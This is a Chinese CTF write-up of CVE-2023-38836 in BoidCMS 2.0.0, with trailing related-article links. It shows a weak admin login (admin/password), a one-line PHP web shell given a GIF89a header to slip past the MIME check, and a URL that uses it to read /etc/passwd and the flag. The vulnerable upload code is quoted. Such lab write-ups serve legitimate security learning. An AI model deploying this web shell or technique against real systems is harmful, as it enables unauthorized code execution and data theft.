CVE-2023-38836(文件上传+命令执行)

简介

BoidCMS v.2.0.0 存在文件上传漏洞,远程攻击者可通过添加 GIF 头部绕过 MIME 类型检查,执行任意代码。

过程

打开靶场

对网站进行目录扫描

发现后台,登录弱口令账号密码

admin/password

发现文件上传位置

根据简介提示,添加 GIF 头部绕过 MIME 类型检查

上传文件代码

复制代码
GIF89a
<?php system($_GET[1]);phpinfo();?>

运行

复制代码
http://eci-2zec8jldo3apelqvizrr.cloudeci1.ichunqiu.com/media/minglingzhixing.php?1=../../../../../etc/passwd

上传成功,并且成功执行

直接cat /flag

结果

得到flag{4f7a065d-06e0-4d24-a8b0-bece0f097ccb}

解析

这是上传一个木马之后,找到后端文件上传函数代码

复制代码
/**
   * Upload media file
   * @param ?string $msg
   * @param ?string $basename
   * @return bool
   */
  public function upload_media( ?string &$msg = null, ?string &$basename = null ): bool {
    if ( ! isset( $_FILES[ 'file' ][ 'error' ] ) || is_array( $_FILES[ 'file' ][ 'error' ] ) ) {
      $msg = 'Invalid parameters';
      return false;
    }
    switch ( $_FILES[ 'file' ][ 'error' ] ) {
      case UPLOAD_ERR_OK:
        break;
      case UPLOAD_ERR_NO_FILE:
        $msg = 'No file has been sent';
        return false;
        break;
      case UPLOAD_ERR_INI_SIZE:
      case UPLOAD_ERR_FORM_SIZE:
        $msg = 'File too large';
        return false;
        break;
      default:
        $msg = 'An unexpected error occurred';
        return false;
        break;
    }
    $tmp_name = $_FILES[ 'file' ][ 'tmp_name' ];
    $finfo = new finfo( FILEINFO_MIME_TYPE );
    $type = $finfo->file( $tmp_name );
    $types = $this->_l( 'media_mime',
      array(
        'application/json',
        'application/octet-stream',
        'application/ogg',
        'application/pdf',
        'application/photoshop',
        'application/rar',
        'application/svg+xml',
        'application/vnd.ms-excel',
        'application/vnd.ms-powerpoint',
        'application/vnd.ms-word',
        'application/vnd.oasis.opendocument.spreadsheet',
        'application/vnd.oasis.opendocument.text',
        'application/vnd.openxmlformats-officedocument.presentationml.presentation',
        'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
        'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
        'application/zip',
        'audio/mp4',
        'audio/mpeg',
        'image/gif',
        'image/jpeg',
        'image/png',
        'image/svg+xml',
        'image/vnd.microsoft.icon',
        'image/webp',
        'image/x-icon',
        'text/css',
        'text/html',
        'text/plain',
        'text/x-asm',
        'video/avi',
        'video/mp4',
        'video/mpeg',
        'video/ogg',
        'video/quicktime',
        'video/webm',
        'video/x-flv',
        'video/x-matroska',
        'video/x-ms-wmv'
      )
    );

在minglingzhixing.php文件里前几个字节加上GIF89a 则这个文件的 MIME 类型 将会是image/gif。由此便可绕过上传限制,实现木马上传。

相关推荐
jxkejiiii2 分钟前
电脑键盘震动反馈,开启与关闭方法及常见问题解答
java·安全·智能手机
GIS数据转换器7 分钟前
基于GIS的海上航路智能规划系统
网络·人工智能·安全·无人机·旅游
AiTop10012 分钟前
AI智能体安全告急:蚂蚁数科“龙虾卫士”上线,构建纵深防御体系
人工智能·安全·ai·aigc
飞飞传输12 分钟前
服务器文件自动同步软件:医疗行业数据管理的安全高效之选
大数据·运维·安全
志栋智能17 分钟前
安全超自动化的四大支柱:检测、分析、响应、恢复
运维·网络·人工智能·安全·web安全·自动化
黎阳之光21 分钟前
黎阳之光:AI硬核技术锚定十五五,赋能海空天全域智能感知
大数据·人工智能·算法·安全·数字孪生
星幻元宇VR23 分钟前
VR消防安全学习机|沉浸式体验守护生命安全的新方式
科技·学习·安全·vr·虚拟现实
MicroTech202525 分钟前
微算法科技(NASDAQ :MLGO)基于量子随机源的分布式客户端密钥分发技术,安全通信新架构
分布式·科技·安全
龙飞059 小时前
Kubernetes 疑难杂症:Pod 始终处于 Terminating 状态的真实原因与安全修复方案
安全·云原生·容器·kubernetes
MaximusCoder9 小时前
等保测评命令——Centos Linux
linux·运维·经验分享·python·安全·centos